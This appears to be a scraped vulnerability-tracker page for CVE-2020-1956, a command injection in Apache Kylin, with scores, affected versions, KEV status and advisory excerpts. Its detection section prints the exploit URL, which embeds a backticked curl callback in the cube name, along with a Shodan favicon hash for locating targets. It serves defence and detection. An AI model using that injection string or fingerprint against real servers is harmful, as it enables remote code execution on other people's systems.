CVE-2020-1956
published 2020-05-22CVE-2020-1956: Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to…
PriorityP193high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-04-15
Exploited in the wild
EPSS
97.34%
99.9th percentile
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | — | — |
| apache | kylin | >= 2.3.0 < 3.1.0 | 3.1.0 |
| apache | kylin | 2.3.0 – 2.3.2 | — |
| apache | kylin | 2.5.0 – 2.5.2 | — |
| apache | kylin | 2.6.0 – 2.6.5 | — |
Detection & IOCsextracted from sources · hover to see the quote
url/kylin/api/user/authentication
url/kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate
- →Exploit targets the /kylin/api/cubes/{cube_name}/migrate REST endpoint by injecting OS commands via URL-encoded backtick shell metacharacters in the cube name parameter (e.g., %60curl%20<host>%60).
- →Exploitation is preceded by an authentication step against /kylin/api/user/authentication using HTTP Basic auth; monitor for sequential POST requests to both endpoints from the same source.
- →Out-of-band callback via curl is used to confirm RCE; detect by monitoring for outbound HTTP requests with 'User-Agent: curl' originating from the Kylin server process.
- →The injected command is embedded in the URL path using URL-encoded backtick characters (%60) as shell command substitution delimiters; look for %60 or backtick characters in HTTP request paths targeting /kylin/api/cubes/.
- →Apache Kylin instances can be fingerprinted via favicon hash -186961397 on Shodan or FOFA for attack surface identification.
- ·The exploit requires valid (low-privileged) credentials to first authenticate via the /kylin/api/user/authentication endpoint before injecting commands; unauthenticated exploitation is not directly possible.
- ·Affected versions span Apache Kylin 2.3.0 through 2.6.5 and 3.0.1; detections should be scoped to these versions. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
ghsa8.8HIGH
osv8.8HIGH
vulncheck8.8HIGH
cisa8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Command Injection in Kylin
ghsa·2020-07-27·CVSS 8.8
CVE-2020-13925 [HIGH] CWE-78 Command Injection in Kylin
Command Injection in Kylin
Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.
OSV
Command Injection in Kylin
osv·2020-07-27
CVE-2020-1956 [HIGH] Command Injection in Kylin
Command Injection in Kylin
Kylin has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
GHSA
Command Injection in Kylin
ghsa·2020-07-27
CVE-2020-1956 [HIGH] CWE-78 Command Injection in Kylin
Command Injection in Kylin
Kylin has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
OSV
Command Injection in Kylin
osv·2020-07-27·CVSS 8.8
CVE-2020-13925 [HIGH] Command Injection in Kylin
Command Injection in Kylin
Similar to CVE-2020-1956, Kylin has one more restful API which concatenates the API inputs into OS commands and then executes them on the server; while the reported API misses necessary input validation, which causes the hackers to have the possibility to execute OS command remotely. Users of all previous versions after 2.3 should upgrade to 3.1.0.
VulnCheck
Apache Kylin OS Command Injection Vulnerability
vulncheck·2020·CVSS 8.8
CVE-2020-1956 [HIGH] CWE-78 Apache Kylin OS Command Injection Vulnerability
Apache Kylin OS Command Injection Vulnerability
Apache Kylin contains an OS command injection vulnerability which could permit an attacker to perform remote code execution.
Affected: Apache Kylin
Required Action: Apply updates per vendor instructions.
Exploitation References: https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
Exploit PoC: https://vulncheck.com/xdb/b9bdde208ba1
Remediation Due: 2022-04-15
CISA
Apache Kylin OS Command Injection Vulnerability
cisa·2022-03-25·CVSS 8.8
CVE-2020-1956 [HIGH] CWE-78 Apache Kylin OS Command Injection Vulnerability
Vulnerability: Apache Kylin OS Command Injection Vulnerability
Affected: Apache Kylin
Apache Kylin contains an OS command injection vulnerability which could permit an attacker to perform remote code execution.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2020-1956
Remediation Due Date: 2022-04-15
No detection rules found.
Nuclei
Apache Kylin 3.0.1 - Command Injection Vulnerability
nuclei·CVSS 8.8
CVE-2020-1956 [HIGH] Apache Kylin 3.0.1 - Command Injection Vulnerability
Apache Kylin 3.0.1 - Command Injection Vulnerability
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
Template:
id: CVE-2020-1956
info:
name: Apache Kylin 3.0.1 - Command Injection Vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential c
Unit42
Two New IoT Vulnerabilities Identified with Mirai Payloads
blogs_unit42·2020-10-14
Two New IoT Vulnerabilities Identified with Mirai Payloads
Threat Research Center
Threat Research
Vulnerabilities
## Two New IoT Vulnerabilities Identified with Mirai Payloads
Ken Hsu
Yue Guan
Vaibhav Singhal
Qi Deng
Published: October 14, 2020
Threat Research
Vulnerabilities
IoT
Mirai
## Executive Summary
Palo Alto Networks is proactively trying to safeguard its customers from attacks however possible. By leveraging its Next-Generation Firewall as sensors on the perimeter to detect malicious payloads and attack patterns, Unit 42 researchers are able to hunt down the menaces out there on the network, be they known or not.
Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.
While t
Unit42
Two New IoT Vulnerabilities Identified with Mirai Payloads
blogs_unit42·2020-10-14
Two New IoT Vulnerabilities Identified with Mirai Payloads
## Executive Summary
Palo Alto Networks is proactively trying to safeguard its customers from attacks however possible. By leveraging its Next-Generation Firewall as sensors on the perimeter to detect malicious payloads and attack patterns, Unit 42 researchers are able to hunt down the menaces out there on the network, be they known or not.
Unit 42 researchers have taken a closer look at four Mirai variants from two recently discovered campaigns leveraging command injection vulnerability exploits that reveal a familiar IoT attack pattern.
While this generic approach allows researchers to observe the entire killchain and even acquire the malware binary from the attack, this post-exploitation heuristic does have its caveat: the traffic fingerprinting. Similar services yield similar traffi
Trendmicro
Mirai Botnet Attack IoT Devices via CVE-2020-5902
blogs_trendmicro·2020-07-28·CVSS 9.8
CVE-2020-5902 [CRITICAL] Mirai Botnet Attack IoT Devices via CVE-2020-5902
# Mirai Botnet Attack IoT Devices via CVE-2020-5902
Based on the workaround published for CVE-2020-5902, we found a Mirai botnet downloader that can be added to new malware variants to scan for exposed Big-IP boxes for intrusion and deliver the malicious payload.
By: Augusto Remillano II, Jemimah Molina
2020/07/28
Read time: ( words)
Save to Folio
Update as of 10:00 A.M. PST, July 30, 2020: Our continued analysis of the malware sample showed adjustments to the details involving the URI and Shodan scan parameters. We made the necessary changes in this post. We would like to thank F5 Networks for reaching out to us to clarify these details.
Following the initial disclosure of two F5 BIG-IP vulnerabilities on the first week of July, we continued monitoring and analyzing the vulnerabilit
Greynoiseio
NoiseLetter October 2025
blogs_greynoiseio
NoiseLetter October 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Bugzilla
CVE-2020-2254 jenkins-2-plugins/blueocean: Path traversal vulnerability in Blue Ocean Plugin could allow to read arbitrary files
bugzilla·2020-09-18·CVSS 6.5
CVE-2020-2254 [MEDIUM] CVE-2020-2254 jenkins-2-plugins/blueocean: Path traversal vulnerability in Blue Ocean Plugin could allow to read arbitrary files
CVE-2020-2254 jenkins-2-plugins/blueocean: Path traversal vulnerability in Blue Ocean Plugin could allow to read arbitrary files
Blue Ocean Plugin 1.23.2 and earlier provides an undocumented feature flag, blueocean.features.GIT_READ_SAVE_TYPE, that when set to the value clone allows an attacker with Item/Configure or Item/Create permission to read arbitrary files on the Jenkins controller file system.
Discussion:
External References:
http://www.openwall.com/lists/oss-security/2020/09/16/3
https://www.jenkins.io/security/advisory/2020-09-16/#SECURITY-1956
---
In the jenkins-2-plugins package there is shipped the Blue Ocean Plugin in version 1.10.2 (in OpenShift 4.5 and 3.11).
---
This issue has been addressed in the following products:
Red Hat OpenShift Container Platform 4.6
Via
http://www.openwall.com/lists/oss-security/2020/07/14/1https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf%40%3Ccommits.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r1332ef34cf8e2c0589cf44ad269fb1fb4c06addec6297f0320f5111d%40%3Cuser.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cdev.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cuser.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r61666760d8a4e8764b2d5fe158d8a48b569414480fbfadede574cdc0%40%3Ccommits.kylin.apache.org%3Ehttp://www.openwall.com/lists/oss-security/2020/07/14/1https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf%40%3Ccommits.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r1332ef34cf8e2c0589cf44ad269fb1fb4c06addec6297f0320f5111d%40%3Cuser.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cdev.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r250a867961cfd6e0506240a9c7eaee782d84c6ab0091c7c4bc45f3eb%40%3Cuser.kylin.apache.org%3Ehttps://lists.apache.org/thread.html/r61666760d8a4e8764b2d5fe158d8a48b569414480fbfadede574cdc0%40%3Ccommits.kylin.apache.org%3Ehttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-1956
2020-05-22
Published
2022-03-25
Added to CISA KEV
Exploited in the wild